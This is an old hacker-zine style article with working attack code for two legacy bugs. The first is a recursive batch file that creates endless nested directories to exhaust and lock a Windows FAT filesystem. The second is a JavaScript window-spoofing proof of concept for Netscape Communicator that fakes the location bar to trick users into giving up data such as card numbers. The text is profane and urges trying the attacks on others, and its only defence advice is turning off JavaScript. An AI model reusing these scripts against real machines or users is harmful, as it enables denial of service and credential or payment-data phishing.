Windows Fun

A few things i want too point out in this artical are on Netscape Communicator 3.04,4.06,4.5 Win95, 4.08 WinNT and Windows FAT Filesystem Advisory. All you leet macOS people out there reading things are prolly saying "Who gives a fuck, i don't use winblows wh0r3", maybe you don't. However there are a few fun things we can do to these apps, such as gain information from........... "your" computer your testing it on :x, or test the other bug to see if it does crash your computer.

We'll start with Windows FAT Filesystem Advisory. I found this at a web site and thought it should be pointed out to people, i didn't like the way it was written so they can stick it up they're arses, if they read this and have a problem with it, fuck you. You can fuck up Windows' FAT file system, by making a large series of recursive directories. When a certain point of recursive directories have been made, the directories cannot be removed by the computer. This is because each directory made takes up a certain amount of space on the sytem in question, you can say that this is considered a denial of service attack against the Windows filesystem, allowing a user able to create directories to consume disk space. Windows cannot delete the directory, looking at you blanky and saying it is in use. And running deltree against it seems to hang the system.

Sample Code (pissy.bat) 

mkdir y
cd y
C:\pathto\pissy.bat 

I (not the orginal authors, but me me me) have been looking at this and it seems you can also take down dos with it, not too bad ;) Burn windows.

Now onto Nerdscape Communicator. Netscape Communicator 3.04,4.06,4.5 Win95 and 4.08 WinNT, can be exploited by "window spoofing". You can gain information from the user browsing your site ie. CC# , you do this by exploiting the HTML mail message bug. Also for all you people out there who think that this is the "frame spoofing vulnerability", it isn't, it is something quite different and i have listed some code below:

-------------------------------
<SCRIPT>

function doit()
{

a.document.open();
a.document.write("<H1>Look at the location bar!<BR>");
a.document.write("<A HREF='http://www.hert.org/'>HERT, not CERT. Hacker response team, not computer response team. This shit is o.k, check it out. Also werd to: The_Brain, cyber`, Mixter, Youngoat, Locutus, DiscoDuck, Hydro and all the other whores in #bme. And you know Chaosklan sucks, unf.</A></H1>");
a.document.close();
}

function winopen() {

//You may try also:
//a=window.open("view-source:javascript:location='wysiwyg://1/http://www.yahoo.com';");

a=window.open("view-source:javascript:location='http://www.yahoo.com';");

setTimeout('doit()',30000);
}

</SCRIPT>

<BR>

<A HREF="javascript:void(0)" onclick="winopen()" onMouseOver="window.status='http://www.yahoo.com';return true">
Follow this link to go to www.yahoo.com (or somewhere else)
</A>
-------------------------------

The way around this is to turn off javascript. If your jumping up and down and swearing at me saying "no fux j00", i hope you get your ass exploited. 

Ferrocyanide

"Stupidity does not qualify as a handicap, park elsewhere!"